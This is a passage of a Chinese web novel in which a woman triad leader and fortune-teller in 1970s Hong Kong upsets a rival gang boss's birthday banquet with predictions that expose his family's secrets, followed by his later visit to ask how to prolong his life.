这种私底下心照不宣你不说我不说但我们都明白的想法,最多告诉亲近的身边人。 是以新福会掌握的信息里,有关霍骁北的寥寥无几,只知道是个大夫,有个老婆,跟陆建华关系好。 自然,新福会里也没人把霍骁北的老婆和女坐馆温苒联系在一起。 而有关温苒的信息,因为本人深居简出十分低调,加上霍骁北刻意地遮掩,外人只知道她性别女姓氏温。 就算帮里马仔口风不紧,也最多打听到坐馆温姐是个大美人。 于是乎,陈兴辉那些同父异母的兄弟就盯上了温苒。 温苒摇摇头,“再说吧,我最近很忙,应该不去赴宴。” 尹荃最近请假,他和庄玉的电台节目不能开天窗,就求了温苒帮他代班,接下来一个月温苒都要和庄玉一起主持。 温苒不去,霍骁北也不会去。 唐叔和利叔年纪大了,不爱凑热闹。 刀哥还在船上,也没办法去。 这样一来陆建华就必须到场,不然就是说破大天,龙凤帮也是在不给新福会黄爷面子。 陈兴辉挠了挠脸,“真不去啊?我准备了一场好戏,现场不看估计也不会登报。” “什么好戏?”温苒来兴趣了。 陈兴辉卖起了关子,“反正是错过绝对会后悔的好戏,苒姐你想知道还是现场看吧。” 温苒咬着筷子表情愤愤。 可恶! 她一定要亲眼看看,什么好戏能有多精彩? 第127章 第127章七零香江作家28 黄家寿宴当天,全香江的名流富豪出动赴宴,黄公馆前的大街豪车如云,挤得水泄不通。 电视台都在报道这则新闻。 温苒和庄玉在播音室里对稿,今天没有嘉宾,只能靠她们两个的嘴皮子。 听到收音机里记者猜测宾客身份,介绍宾客八卦,温苒那颗心恨不得飞到现场去看一看。 老天保佑,千万不要让她错过好戏现场! 时间分秒难挨,说完结束语,温苒拽上庄玉就往电视台外面冲。 霍骁北开车等在路边,等两人坐好,一脚油门就飞向了黄家公馆。 在公馆附近的街上和陆建华一行汇合,五象城代表队伍缓缓驶进公馆大门。 管家忠叔闻讯赶来迎接,态度和蔼可亲,跟从平头伟嘴里听说的严肃冷酷堪称截然相反。 忠叔拱手致歉:“陆爷大驾光临有失远迎,望陆爷莫见怪。” 陆建华脸上挂着假笑,没白瞎霍骁北给他请的礼仪老师,这会儿全派上了用场。 “忠叔言重,我是晚辈,本该我早来拜见陆爷,只是帮里事情多脱不开身,还望黄爷见谅才是。” 一老一少互相恭维谦让着,在庭院里宾客探究的目光中来到宴会厅。 大堂中央,人群包围的中心,黄爷领着一群子女接受宾客祝寿。 看到忠叔领着一行人过来,人群让出一条路,目光打量着这些陌生面孔,不禁好奇能让忠叔迎接究竟什么来头? 其中几位和龙凤集团有过生意往来,热情地出声打招呼:“霍总,陆爷。” 霍骁北颔首回应,陆建华却顾不上寒暄,经忠叔带到黄爷面前介绍。 忠叔:“老爷,这位是五象城龙凤帮陆爷。” 黄爷脸上挂着笑,“幸会啊陆爷,想不到陆爷这么年轻,今日黄某过寿,陆爷大驾赏光,一定让黄某好好招待。” 他话中姿态摆得很低,看不出一点架子。 陆建华表现得镇定自若不卑不亢,婉拒了‘陆爷’的称呼:“使不得,陆某较黄爷年轻许多,若黄爷不嫌弃,以后你我兄弟相称如何?” 黄爷……黄爷脸上的假笑僵住,这后生是谦虚了,但还不够谦虚,他怎么也没想到陆建华会说出‘兄弟相称’几个字来? 陆建华也不想这样,但他这不是没说服女朋友跟他一起来参加寿宴么,自然要防着黄爷给他介绍女儿。 于是温苒就给他出了这么个招儿。 “黄兄!” 陆建华先声夺人,一声大哥在黄爷没反应过来前直接给定了辈分。 “黄兄,小弟早就该来上门拜访却一直没来,实在失礼,借黄兄寿宴备了一份厚礼。” 陆建华朝后伸手,阿五把拎在手里的皮箱打开,两手上下托着展示给黄爷。 陆建华介绍:“福禄寿三才翡翠摆件一樽。” 懂行的打眼就瞧出来底细,“这、这块石头莫不是前两年缅甸老坑拍卖的玉王?” 黄爷乃同道中人,眼力极好,也看出了翡翠的不凡,黄绿红三色存而不杂,颜色剔透,雕刻技艺高超属于是画龙点睛。 说是份厚礼当然不为过。 而且是在他的寿宴上出现这样一份礼物,对于年过五十清晰感觉到衰老的黄爷来说,福禄寿这个好彩头简直送到了他的心坎上。 黄爷当即喜笑颜开,承下厚礼也应下‘黄兄’的称呼,“陆老弟破费了,阿忠,你将摆件妥善收好放到我的书房。” 送完礼互相聊了几句,黄爷向陆建华介绍身旁的宾客和身后的子女。 来参加黄爷寿宴的宾客非富即贵,指不定哪天就是龙凤集团的合作对象,陆建华尽量表现得温和有礼。 到了黄家的少爷千金,他又端起长辈的架势一一问候过去。 “侄儿结婚没?在哪里高就?孩子几岁了?学习 怎么样?” “侄女和黄兄长得真像,女孩子嘛不要太早恋爱结婚,多读书多旅游开阔眼界,千万不要被家庭束缚住。” 黄爷及一众子女脸上的笑险些挂不住,老的暗骂陆建华不识趣,小的膈应陆建华戳他们心窝子。 大房少爷赶忙转移话题,“陆爷不介绍介绍您带来的这几位?” 他嘴上说着‘几位’,实则视线定在温苒身上不动,跟被胶水黏住一样。 美人大家都不是没见过,但美成温苒这样的恕她们见识少了。 俗话说美人在骨不在皮,这里的‘骨’并非单指骨相,更多在言气质。 皮相易得,上乘的气质难得,所以世上多庸脂俗粉,男女皆是。 兼而有之实在少见。 似温苒,相貌娇艳气质清冷,截然相反的特质矛盾地融合于一身。 在场众多宾客的目光早就在悄悄追寻着温苒的一举一动。 霍骁北浑身散发着冷气,陆建华见势不妙,赶紧出声把目光吸引过去。 他一一介绍带来的人,因为唐叔利叔和刀哥都不能来,就各自派了搭档的揸数祝寿。 年轻的男仔穿上西装皮鞋这么一打扮,再加上略有文化的谈吐,个个都显得一表人才。 黄爷暗暗在心里点头,陆建华看着年轻,实际是有两把刷子的。 到霍骁北时,黄爷微微眯起眼,没忘了刚才那声‘霍总’,而且是在‘陆爷’之前。 陆建华笑容中带着自豪,“黄兄,这是陆某最好的兄弟霍骁北。” 梯子都搭好了,霍骁北当即开口:“黄兄,幸会。” 黄爷:“……” 在场人:“……” 不是? 你还真敢啊? 黄爷表情很有些挂不住,让陆建华那毛头小子跟他称兄道弟,那是因为他别有所图,眼前这年轻人又算什么东西? 即便多年出生入死的直觉暗示黄爷,他在霍骁北身上感觉到了危险,但他内心对此嗤之以鼻。 霍骁北转头看向挽着自己的手臂的温苒,“阿苒,你也来打声招呼。” 温苒微笑上前,“黄兄,我和我丈夫囊中羞涩不似陆哥那般大手笔,只好献丑送黄兄一卦。” 众人脑海中如翻江倒海般是一波未平一波又起,还没从这两人是夫妻的震惊中回过神来,又被温苒这话砸得晕头转向。 等等! 你说你要算卦? 香江的迷信从人们呼吸的每一口空气中到脚下的每一寸地,但这不代表随便哪个‘大师’他们都信啊? 黄爷木木地沉着脸,不想摆也不知道摆什么表情了。 温苒恍若未觉,自顾自说下去:“观黄兄面相,夫妻宫和子女宫一片艳红带煞,最近家中要不太平啊。” 她想,她大约知道陈兴辉的好戏是什么了。 听到她的卦象内容,在场人震惊到已经不知该作何反应,只在心里感叹美人虽美,就是不大会识时务。 黄爷身后,他的大房正妻面色忽变,愤怒地张口呵斥:“哪来的狗东西在黄家乱吠?来人,给我赶出去!” 同她一起开口的还有她的长子,不过却是向黄爷为温苒开脱:“爸,温小姐许是在说笑,您千万别往心里去。” 母子两个说完,下意识转头诧异地看着对方。 宴会厅中气氛一时很尴尬。 另一位黄少见状,紧跟着附和:“阿爸,大哥说得对,温小姐是龙凤帮坐馆,初来乍到开开玩笑罢了。” 在场都是体面人,纷纷跟着为温苒说话。 默默旁观的陈兴辉嘴角抽搐。 搞新福会派他来算什么,要是北哥舍得,多让苒姐露几次面,还不是让他这帮兄弟做什么都行? 黄爷也叫自己见色忘爹的蠢货儿子们给气够呛。 他压下胸中火气,顾忌眼前场合,就打算顺着台阶下去了,没成想温苒却又开口了。 温苒语气笑盈盈:“我可没有说笑,若是不信我再送黄兄一卦,观气知寿,黄兄周身气势低迷浅薄,寿数就在这几年了,最多不超过三年。” 在场众人:“……” 这美人是真脑子不好使啊,也不看看什么场合,哪有在人家寿宴上说主人命不久矣的?! 这下就连垂涎温苒美色的黄少们也不敢再吭声了。 就算他们心里盼着自个老爹去死,可也没有胆子直说甚至在老爷子面前直说。 被断言没几年可活的寿星黄爷老脸拉长,表情黑沉沉的。 霍骁北瞥了眼躲藏在人群外的陈兴辉,陈兴辉接到暗示,心中叫苦不迭地上前。 “阿爸,忘了跟您介绍,苒姐除是夜莺堂的坐馆外,跟大陆的道士学过相术卜算,至今给出的卦象万无一失。” 陆建华连忙点头,想起什么心有余悸一般,装出担忧的模样关心黄爷:“黄兄应该不知,我们苒姐给北龙帮龙爷和六叔断过寿数,死期精确到月份,准到阎王都称赞的!” 陈兴辉和他一唱一和,同样表现出对老父亲的关心来:“阿爸,宁可信其有不可信其无,让忠叔替您预约医院体检,再请大师为您做法逼开生死劫才好的!” 其他黄少们见状,争先恐后表示关心。 “阿爸,我认识一名修为很高的大师……” “阿爸,封建迷信不可取,我帮您联系美国和德国的医院……” “阿爸,您一定保重身体啊……” 宾客们目瞪口呆。 不是,就没人怪罪温苒口出狂言,就都认定了她的卦象是吗? 黄爷抬手呵斥,“够了!” 闹哄哄的场面瞬间安静下来。 黄爷抬头,阴沉审视的眼神落在温苒身上,“我看也别请那些名不副实的大师了,就请温大师替我做法避祸吧。” 虽是询问的语气,却大有一种温苒不答应他就要做点什么的意思。 可温苒能让他如愿? 她叹声气,表情歉疚,“恐怕要让黄兄失望了,我精通相术卜算风水,却不会做法改命。” “而且我观黄兄气数,本该寿元八十往上,却因背负沉重因果,才落得寿元未尽身先亡的下场。” “若要化解,难如登天,除非……” 话到这里,温苒摇摇头,却不再往下说。 众人的好奇心却被她高高拎起来。 除非什么? 难道还真有化解续命的办法? 不对不对,难道温苒言之凿凿,是因为她真是大师? 这么年轻、还这么漂亮的大师,她通身上下似乎都没有让人信服的地方。 见势不妙,陈兴辉连忙开口,“阿爸,宴会马上要开始了,要不要先上楼休息?” 他还把陆建华拖下水,“还是说,阿爸想和陆爷喝茶聊天?” 陆建华能怎么办,为了不让他苒姐再说出什么石破天惊的话来,他牺牲自己应酬应酬老头子算什么? 黄爷选择和陆建华聊天,黄爷带陈兴辉,陆建华带阿文阿五上楼去了书房。 两个帮派的第一次会面很有些不欢而散的意思。 黄爷离场,围凑起来的人群随之散开,都在或近或远地打量温苒和霍骁北。 第128章 第128章七零香江作家29 装点豪华的宴会大厅中,衣香鬓影名流如云,而人群目光追逐的中心,不是以前任何一场宴会中的任意一位风云人物,而是那对耀眼夺目的夫妻。 众人有心上前攀谈,又怕那位美人不合时宜地送她们不详之卦。 夫妻两个却怡然自得,端着餐盘餐具满场溜达挑东西吃。 庄玉寸步不离跟在温苒身旁,整个人还没从刚才震撼的场面中抽出身来,好奇地追问温苒:“阿苒,你刚才给黄爷算的卦是真是假?” 温苒塞给她一个布丁,笑着说:“当然是真。” 她随意的态度让庄玉打了个大大的问号,“那你真会那些风水相面,是大师?” 温苒吃下霍骁北送过来的水果,声音有些含糊不清:“这方面我是专家,没人比我更懂。” 庄玉:“……” 你这大放厥词的语气让我更难相信。 但庄玉 又清楚,阿温大多时候都很谦虚,她懂十分会谦虚成懂六分。 那假如一件事她谦虚成十分…… 天呐! 庄玉激动地抓住温苒手臂不放了,“阿苒,帮我算一算我何时能遇到真命天子?他长得帅不帅高不高?再帮我算何时会发大财?再帮我算算……” 温苒:“……” 等她说完,温苒回道:“一次只能算一样,算太多会有影响。” 闻言庄玉开始纠结,“算财运还是算健康?” 就在这时,一个人影上前来,“庄小姐可以先想想,刚好我也想请温小姐帮我算一卦。” 三人转头看去,只见来人是方才替温苒说话的黄大少。 他西装革履轻轻摇晃着红酒杯,在温苒的目光中勾唇一笑,自以为形象潇洒帅气,“不知温小姐可否随黄某移步,去清静的茶室聊聊?” 有黄大少开头,其他观望的宾客们随之靠近。 霍骁北不留情面地拒绝:“不方便,有事直接讲。” 黄大少面色一变,“你——” 温苒打断他,笑呵呵道:“这就是大侄子吧?” 黄大少被这声‘大侄子’整懵逼了,人群中不知谁没忍住噗嗤笑出声来,紧接着压抑的笑声传染了每个人。 黄大少涨红了脸,恼羞成怒地瞪着霍骁北,“我和温小姐有话讲,你算什么东西敢在这里插嘴?” 霍骁北冷冷瞥过去,“黄少听不懂人话,我跟我老婆要称你父亲做大哥,你就是这么招待你的叔叔婶婶?” 黄少简直不敢置信,这人脸皮多厚胆子多大,他以为他是陆建华啊?! 围上来的宾客们看霍骁北的眼神也变了变,这男人的脑子似乎也不好使,在这一点上跟温苒倒很般配。 情况不大对,庄玉扯了扯温苒袖子,提醒道:“阿苒,我听说黄家来头不小,你让北哥别这么嚣张的。” 这是在人家地盘,万一惹怒对方吃不了兜着走。 温苒一想也是,今天满场都是记者,万一霍骁北忍不了动手,明天报纸搞不好会乱讲些什么。 死道友不死贫道,温苒瞥了眼满面怒容的黄大少,清了清嗓子说道:“看来黄少跟我老公很聊得来,你们这么投缘,我便免费送你一卦。” 在场所有人:“???” 你哪里看出这两人很合的? 温苒偏过头,上下观察黄大少。 沐浴在她的视线中,黄大少有种自己被完全看穿的紧张和恐惧。 忽然温苒皱了皱眉,黄大少心提到了嗓子眼,唯恐她看出来什么。 可转念他反应过来,他怕什么,难不成温苒还真会算卦啊? 温苒不讲虚的,开口就是炸弹:“从面相上看,你生母早逝。” 黄少瞪大了眼睛,什么愤怒什么恐惧都抛开了,抱着肚子一脸纵容地笑道:“温小姐还看出什么来了,再帮我算一算。” 霍骁北淡淡睨了眼这蠢货,死到临头了还不知道跑。 “温小姐几次三番在我黄家大放厥词,诅咒我和我丈夫,究竟是何意?” 这时,一道严厉女声靠近,在黄大少身前站定,眼神不善地盯着温苒。 黄大少连忙收起笑,“妈,我在和温小姐开玩笑,你别往心里去。” 黄太恨铁不成钢地拿手戳他额头,“开玩笑开玩笑,她一个有夫之妇在大庭广众下跟别的男人说笑,到底守不守妇道?” 温苒挑了挑眉,“黄太此言差矣,大清早亡了,封建制度被消灭在工农阶级的镰刀和铁锤之下。新时代新思想,黄太却这么与众不同,自己在新时代,却要求别人守旧规矩?” 黄太愤怒地抬手指着温苒,“你——” 温苒打断她,“黄太说一套做一套看来是拿手好戏,我说黄少生母早逝,黄太并非黄少生母,何谈诅咒一说?” 黄太举着手快步上前,怒道:“住口!” 不想她刚动没两步就被拦下,又一对母子出现,其中的女人娇娇柔柔劝道:“大姐,今天是老爷的寿宴,以和为贵。温小姐是来自五象城的贵客,现下大姐动手,可没办法向老爷和陆爷交代。” 她身旁的黄少点头赞同:“大妈,大哥说他在跟温小姐开玩笑,玩笑哪里能当真?大妈大人有大量,别往心里去。” 母子俩一唱一和,愣是把黄太气得脸色青紫,却举着手迟迟无法挥下去。 温苒看到后来的不知几太冲她友好一笑,是示好也是在拉拢。 这个念头在脑海里转了一圈,母子俩在温苒眼里就打上了‘可利用’的标签。 既然如此,温苒就不客气了,靠山不及时用就等于没靠山。 于是她抬高声音:“关于黄大少生母早亡这一点我并不是在开玩笑,黄大少生母并非黄太,而是和黄太有血缘关系的表妹。” “倒是黄太,命中只有一女,且非婚生子。” 话音落下的瞬间,黄太就尖叫着冲过来。 霍骁北护着温苒闪躲开,黄太收不住力倒在地上摔了个大马趴,砸得结结实实一声响。 黄大少失神地愣在原地,见状回过神来,连忙喊佣人过来帮忙。 黄太被扶起来,恶狠狠瞪着温苒,眼神恨不得要把她除之而后快。 先前围上来的宾客后怕地散开,远远观望着事情发展。 温苒向另一对母子投去询问的眼神,那对母子木愣愣地上前几步。 其中的黄少干巴巴开口:“大哥你、你节哀……” 话出口他懊恼地拍了自己一嘴巴,“大哥你就算不是大妈的儿子也是爸的儿子,依旧是我们的大哥……” 还没说完,他妈给了他一耳光,蠢货怎么把心里话说出来了? 他妈开口想替儿子找补几句,这时忠叔下楼,“诸位,寿宴马上开场。” 他说完,浑浊的眼睛一转,眼神落在在温苒和霍骁北身上,暗含警告。 众人顿时做鸟兽散,这之后追随温苒的目光都少了许多,实在是被这美人一莽无前的气势给整怕了。 庄玉拉着温苒激动地八卦,“黄太红杏出墙有个女儿,大少并非她所出,难道是去母留子?” 不等温苒回答,她便一副恍然大悟的样子喃喃道:“我懂了!原来是这样?” 温苒:“……” 很快寿宴开始,忠叔带人派发摄影机,黄爷下楼,走上布置好的礼台讲话致辞。 讲话期间,台下闪光灯闪烁不停。 快结束时,黄太和黄大少为首的妻妾子女推着蛋糕塔出来。 就在这时,从远方传来几声尖叫,紧接着又响起几声枪声。 所有人面色一变。 许多记者扛着摄影机就往声音传来的方向冲去,忠叔派人拦都拦不住。 台下陈兴辉掏出枪来砰砰砰开了三枪,高声道:“诸位,父亲寿宴刚刚开始,还不到离场的时间。” 黄爷看他的眼神带着赞赏,但嘴上却呵斥道:“阿辉,开枪吓到客人怎么办?下去!” 陈兴辉收好枪,恭敬退下。 黄爷吩咐忠叔去现场查看,却不想这时大厅一侧的出口涌进来一群人。 为首的男人一左一右拽着一男一女,让众人震惊的是,那对男女身体赤裸,全靠身上半掉不掉的毛毯遮挡。 女人抬起头,凄凄惨惨地喊:“阿妈!” 宴会厅的空气在这一瞬间似乎停滞了,时间也仿佛被拉长。 不知过了多久,也许是一秒,只听‘嗷’一声,一个矫健的身影从蛋糕塔旁边冲出来,蹿到了赤裸女人面前。 母女两个抱头痛哭,紧接着黄太抬手给了那男人一耳光,朝他尖声怒骂。 那男人起先还忍着,后面被黄太抓破脸,忍无可忍地推开她。 “我没良心?” “黄太,我知你们黄家门第高,从来都看不起我,可我本来也不想娶你女儿,若不是你们威逼利诱,你当我稀罕进你黄家的门?” 这时黄爷带着子女来到人群前方,沉着脸脸色难看。 忠叔喝道:“大姑爷也不看看这是什么场合?还不快下去 !” 那男人置若罔闻,看也不看黄爷,转向宾客们高声道:“今天请大家做个见证,不是我负心薄幸对不起黄家千金,是她枉顾人伦和亲兄弟不清不楚,且被我当场捉奸在床!” 话音落下,他另一手边禁锢着一直低着头的男人被推到人前,同时也露出了脸。 陈兴辉受到‘惊吓’,脱口而出:“三哥!” 全场哗然。 什么? 黄家大小姐和三少爷不伦?还被姑爷当场捉奸?! 天呐! 不知是谁先说了这样一句:“温小姐岂不是算对了?” 霎时,温苒就收到了来自四面八方或惊奇或火热的视线。 她举着果汁淡定地抿一口,唉,她早就说了,可是没人信啊? 听到这话的黄爷脸皮抽了抽,瞥了眼忠叔。 忠叔会意,带人‘请’闹事的姑爷和两位少爷小姐下去。 就在这时,黄家的姑爷突然掏出一把枪,拉过身边的妻子把枪口抵在她额头上。 黄家千金痛哭流涕,“不要、不要杀我!阿爸!阿妈救我!忠叔救我!” 黄爷握着拐杖的手捏紧,眼神死死盯着姑爷。 陈兴辉凑上去,“阿爸,现场很多记者名流,不宜见血,不如这样……” 他低语几句,黄爷面色稍霁,但握着拐杖的力道却没有放松。 陈兴辉走上前,态度温和,“姐夫莫动气,阿爸说同意你和大姐离婚,也会补偿你金钱和房产,你是受害者,阿爸最公正明是非,不会让你吃亏的。” 那位姑爷还没说什么,黄太不干了,“休想!凭什么分他财产?凭什么?” 陈兴辉为难地看向黄爷,黄爷大步上前,反手给了妻子一耳光,“闹够了没有?” 黄太尖叫:“你啊——” 她刚出声,黄爷又是一耳光,黄太终于老实下来。 陈兴辉接着说道:“姐夫也不用怕被报复,阿爸发话,不会有人敢不听。” 黄爷意味深长地看了这个儿子一眼,转过身面对众宾客,笑着高声道:“今日我要宣布一件事,我的大女儿并非我亲生,而是我曾经拜把兄弟的女儿。我怜惜侄女丧父,于是抱来和妻子抚养,没想到却……” 他没看到,被扇了两耳光的黄太惊恐地看着他。 黄爷无奈地苦笑,“事已至此,是我对不起兄弟。” 有眼色的宾客都开始顺着他的话接下去,劝黄爷莫要太伤心。 而没眼色的,这时只会惊叹:“温小姐的卦又准了!” 黄爷心思一动,问道:“什么卦?” 忠叔低声解释,黄爷听完脸上喜色荡然无存,几乎是咬牙切齿地开口:“阿忠,带太太和小姐下去。” 黄太惊恐地挣扎,“老爷你听我解释老爷——” 忠叔示意手下捂上她的嘴,母女两个被带下去。 宾客们面面相觑。 难道、莫非、温小姐的卦又准了? 黄大小姐真是黄太红杏出墙生下来的? 那那那、那黄大少的亲生母亲也另有其人喽? 黄爷命不久矣也是真的? 众人回头寻找神算的身影,却见那对外貌出众的夫妻已消失在宴会厅里。 这天之后,温苒在豪门圈里一炮而红,谁都晓得龙凤帮的女坐馆是一位神算。 数不清的人涌进五象城,找到龙凤帮想求温苒一卦,许出的报酬多到让人惊掉下巴。 陆建华等人看温苒的眼神就像看金娃娃似的。 唐叔走起路来腰板儿都倍直,先前唉声叹气的模样一扫而空。 街头的冰室里,夫妻两个正在点单,见唐叔这么开心,温苒不禁好奇询问,明明不久前还在因为赌场生意发愁。 唐叔笑呵呵道:“咱帮里要没钱了你指定坐不住,到时候给那些有钱人算一卦,还不是要什么有什么?” 温苒:“……” 唐叔说完自己乐呵了两下,“你都不知道,你都没露面呢,咱们下次的船票就卖完了。阿北让我们搞了个预售,这下好了,预售的船票都排到年尾了!” 预售付定金,登船付尾款,不上船也不退定金,也就是说定金实打实得落袋为安了! 唐叔说完要去忙别的,温苒拦住他,好奇问道:“怎么就见得,卖完船票的原因在我身上?” 唐叔瞪眼,“那还能因为什么?咱们整个五象城倒个底朝天那些人也不稀罕,还不是为了你一卦?” 其实他也想让这妹仔帮他算一卦来着,可听了那些有钱人的大手笔,动辄不是古董房产就是钞票股份,他空着手不好意思,给钱吧他那点又开不了口,只好作罢。 温苒却还心存疑虑,“他们想找我算卦,可我又不在船上。” 唐叔迟疑道:“可、可能是因为,他们想讨好龙凤帮?” 温苒摇头,“我觉得吧,大概是因为全靠同行衬托!” 唐叔不明所以,“啊?什么意思?” 温苒把目光放回菜单上,胳膊肘杵杵霍骁北,“你问他。” 唐叔看向霍骁北,“阿北,你知道原因?” 第129章 第129章七零香江作家30 霍骁北点点头,“因为他们不满意新福会的赌场。” 唐叔:“……” 他呆住,怎么也没想到会是这个答案? 这比求卦离谱多了好吗? 唐叔小心翼翼求证:“阿北,你这猜测保真吗?” 温苒点好菜交给老板,回答唐叔:“真的不能再真。” 所以什么叫全靠同行衬托? 新福会的游轮上活命都很难保证,被坑钱被逼消费都是小事,那帮有权有钱的客人在哪儿不是被供着,怎么会愿意花钱买罪受? 反观五象城这边,切实履行了顾客是上帝的准则。 除了规矩多点,禁止打骂服务生禁止占服务生便宜禁毒禁黄等等,一切随客人心意。 前者粗鲁,后者高雅。 撒钱也知道该选哪个。 不过么,做生意也不能全靠同行衬托,打铁还得自身硬。 趁这次好机会,夫妻两个带人把游轮重新布置了一番,添了许多项娱乐消费项目。 这次开船,难得唐叔自告奋勇上去开场。 船开的第二天,五象城迎来一位不速之客。 黄爷不请自来,指明要见温苒。 最近一直住在五象城的庄玉见怪不怪,甚至颇有些幸灾乐祸。 “估计发现你算的卦都对上了,这才慌了神,过来找你。” 这段时间庄玉真是痛并快乐着。 痛是因为有家不能回,寿宴上她一直跟在阿苒身边,都知道她和阿苒是好友,那些人见不到阿苒就来折磨她。 快乐是因为在五象城每天都有新鲜事发生,而且她和阿温非常投缘,两人正在共同编写一部电视剧剧本,拍摄也全由她们说了算。 还有一点让庄玉痛并快乐,阿苒的老公厨艺堪比食神,导致她现在长胖足足五斤。 新福会龙头莅临五象城,无论如何温苒也该露个面。 让人意外的是,黄爷这次来只带了陈兴辉和笑哥,连据说最信任的忠叔都没带。 温苒由阿红陪同,霍骁北和陆建华旁观,和黄爷三人在她工作室隔壁新辟出来的茶室见面。 不同于寿宴上完全没把温苒放在眼里,这次黄爷摆出了十成十的诚意,愿意割爱五象城附近一个堂口的地盘。 且只要他在一天,这块地盘新福会就不会再动。 温苒心说,你也没几年好活了。 第一份诚意之后,紧接着还有第二份:一间报社。 还不是什么籍籍无名的小报。 明显是费了一番力气打听温苒,从而投其所好。 摆上筹码后,黄爷终于说明来意:“温大师,我想请大师帮我算两卦。” 面都见了,算两卦也不费事,算完还有东西拿,温苒很爽快就答应了。 黄爷心里松了口气,是他有眼不识泰山,没想到大师本事大气量也大,丝毫没跟他计较寿宴上的事。 “我想请大师帮我算的第一卦,我的子女中,谁能担当大任接下家业?” 听见这话,陈兴辉马上道:“阿爸,我先退下。” 黄爷却抬手拦住他,“不用,阿辉你也听听。” 陈兴辉就明白了,一来这是老头子在试探自己,二来也是在告诉自己,他没把自己列在继承人选之中。 温苒让阿红拿来纸币,推到黄爷面前:“黄爷中意的人的八字。” 黄爷拿起笔,盯着白纸沉默片刻才落笔。 不过他这一落笔时间就长了,足足写了七八行字才作罢。 温苒拿过来扫了一眼,都是十足败家相。 她摇了摇头,黄爷皱紧眉,“守成之人也没有吗?” 温苒没说话,黄爷只好又写下几个八字。 只能说黄家这一辈子孙质量实在差劲,儿子尤其差,女儿当中比较优秀的有两位,但技能点错了地方,一个在艺术方面很有天赋,一个在医学领域能混出头。 黄爷陷入沉思。 他身边这些子女都不成器,难不成要去外面找他的私生子? 想到私生子,黄爷余光盯着陈兴辉。 不管他愿不愿意承认,这个偶然 被认回的私生子,无论人品还是能力都远超其他子女。 黄爷闭了闭眼,事到如今容不得他再犹豫。 于是他道:“阿辉,让温大师看看你的八字。” 陈兴辉:“……” 这是扒拉一圈发现没好东西,才想起还有他这个漏网之鱼了? 不怎么情愿地给出八字,他站到黄爷身后,仗着老头子看不到,朝温苒挤眉弄眼,暗示要说他能力也不行。 温苒眨巴眨巴眼睛,既没有顺陈兴辉的心意,也没有第一时间回答黄爷。 她反问:“黄爷的另一个卦,是否想算寿数?” 黄爷微愣片刻,恭维道:“大师料事如神,只是……是,也不仅是。” 温苒点点头,那就是除了想算寿命,还想问一问有没有能延寿的办法 说到这里,黄爷略有些急切,“大师,您先前在黄某寿宴上说黄某寿数未尽,还说有解决办法,可否请大师行行善告诉黄某,付出多少代价我都愿意!” 陈兴辉垂下眼掩饰住不屑嘲讽,什么家族后继有人,哪比得上能让他多活几年要紧? 温苒摇了摇头,“我所说的办法治标不治本。” 黄爷眼底飞快闪过一抹狠厉,他深吸气压下不满,“无论付出什么代价,只要温大师肯为黄某延寿,黄某在所不惜。” 他神态未变,但与刚才一般无二的语气中俨然泄露出了威胁之意。 温苒叹气,“那好吧,黄爷首先需要敬告天地与父母祖辈断绝关系,接着需要凭借自己的双手偿还从黄家得到的恩惠,然后再偿还黄爷自己身上的因果孽债,如此方可寿终正寝。” 黄爷胸中翻涌着愤怒,他想要的不是这种续命办法。 他要续命,他可以付出任何代价,但这个代价不能由他来承担! 按捺住不耐烦的情绪,黄爷委婉暗示温苒:“我子女众多,生之养之,给予他们生命,反过来他们都很孝顺。我想,他们会愿意为我这个父亲舍弃某些东西。” 陈兴辉:“……” 他也想,这个孝顺的子女当中应该不包括他。 这老头子的所作所为真是屡屡刷新他的底线,陈兴辉都有些后悔陪他来这一趟。 温苒故作为难,“黄爷,你要知道,你寿数未尽而亡,归根结底是受家族孽债所缠。” “你逃不掉,你的子女自然也如此。” 黄爷捏紧了拐杖龙头,不甘心询问:“那要如何才能消除这份家族孽债?迁祖坟可不可以?” 温苒看着他并不说话,黄爷颓丧地塌下肩膀,“果真没有其他办法吗?” 陈兴辉佯装发怒,“温大师明人不说暗话,我父亲要如何做才能延寿?哪怕只是几年几个月我们都愿意尽力一试!” 温苒没理他这话,而是看向黄爷。 黄爷强自直坐直,先呵斥陈兴辉:“阿辉,不可对大师无礼!” 陈兴辉低下头,神情倔强不语。 黄爷摇着头叹气,一副这不懂事的孩子真让老父亲操心的表情,转过来向温苒道歉:“大师莫怪,我这儿子一片赤诚,他也是担心我。” 父子俩还在这儿演上了,温苒不好拆穿,只好收下这份道歉,并赶紧拉回话题。 “我先前说到,黄爷家族孽债缠身,这份孽债不是一朝一夕产生,自然想要偿还也并非一己之力一时片刻能办到。” 就新福会那些生意,不是黄赌毒就是高利贷,哪个不是断子绝孙的勾当,黄家人十辈子也偿还不完这些债。 “黄爷也莫要寻歪门邪道续命,否则便如同饮鸩止渴,届时要付出的代价绝非黄爷承担得起。” 黄爷点点头,看起来好像听进去了。 但心里怎么想的,恐怕只有他自己才清楚。 像他这样的人,出身不凡手握权势,从来都是要什么有什么,过着多少人梦寐以求的生活。 现在忽然告诉他活不了几年,他很快就要死了,而拯救的唯一办法却是舍弃高高在上的身份舍弃手中的金钱权势去过苦日子,他恐怕还不如去死。 然而他若真能坦然接受他死期将至的事实,也就不会有今天的五象城求卦之行了。 倘或现在有个能为他延寿的邪术摆在面前,不用想,他肯定会毫不犹豫选择邪术。 至于温苒警告的所谓难以承受的代价,他才不在乎。 今日有能让他延寿的办法,那日后也就能有避开代价的方式。 黄爷久居上位,掩饰情绪让人无从窥探的表情管理堪称完美。 即便如此,在场人连最蠢最迟钝的笑哥也感觉的得出来,这老头一定不会善罢甘休。 好言难劝必死鬼,温苒该说的都说了,怎么选择是他自己的事。 她最多只能再好心提醒几句:“关于消除孽债的办法,除了偿还因果一法,再就是存善念行善事积攒功德。” 黄爷动了动嘴想说什么,最后抿了抿嘴,只是问道:“关于继任者,温大师认为阿辉如何?” 温苒想了想,说道:“这要看黄爷的意思。” 黄爷忽地笑了,笑着看了一圈在场人,最后视线落在陆建华身上,意有所指道:“我听说阿辉身边最信任的两个兄弟是五象城的叛徒,那两个叛徒带着一个堂口投奔阿辉,想来阿辉和五象城因为此事结仇才对。” “但我怎么又听说,阿辉经常来五象城会友,似乎和陆兄弟来往甚密?” 温苒微笑,就知道这老头没憋好屁。 她故作高深回道:“天下熙熙皆为利来,是敌是友哪是一时能断明的。” “黄爷也该考虑考虑,是要黄家继续背着孽债走上末路,还是壮士断腕肃清罪孽,端看黄爷一念之间。” 黄爷陷入沉默,良久后抬头紧盯着温苒,探究道:“阿辉并未受过黄家祖辈恩泽,大师认为,他能否扫净黄家的罪孽?” 第130章 